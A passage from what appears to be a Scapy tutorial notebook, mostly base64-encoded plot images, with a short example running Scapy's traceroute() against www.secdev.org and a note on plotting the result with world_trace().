JKaabYcJRuwkwIA\n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\n",
- "text/plain": [
- "<pyx.canvas.canvas instance at 0x7f2c2e228bd8>"
- ]
- },
- "execution_count": 15,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "pkt.canvas_dump()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 22,
- "metadata": {
- "scrolled": true
- },
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "Begin emission:\n",
- "Finished to send 15 packets.\n",
- "\n",
- "Received 17 packets, got 15 answers, remaining 0 packets\n",
- " 217.25.178.5:tcp80 \n",
- "1 192.168.46.254 11 \n",
- "2 172.28.0.1 11 \n",
- "3 80.10.115.251 11 \n",
- "4 10.123.205.82 11 \n",
- "5 193.252.98.161 11 \n",
- "6 193.252.137.74 11 \n",
- "7 193.251.132.183 11 \n",
- "8 130.117.49.41 11 \n",
- "9 154.25.7.150 11 \n",
- "10 154.25.7.150 11 \n",
- "11 149.6.166.166 11 \n",
- "12 149.6.166.166 11 \n",
- "13 217.25.178.5 SA \n",
- "14 217.25.178.5 SA \n",
- "15 217.25.178.5 SA \n"
- ]
- }
- ],
- "source": [
- "ans, unans = traceroute('www.secdev.org', maxttl=15)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The result can be plotted with `.world_trace()` (this requires GeoIP module and data, from [MaxMind](https://www.maxmind.com/))"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 23,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "image/png": "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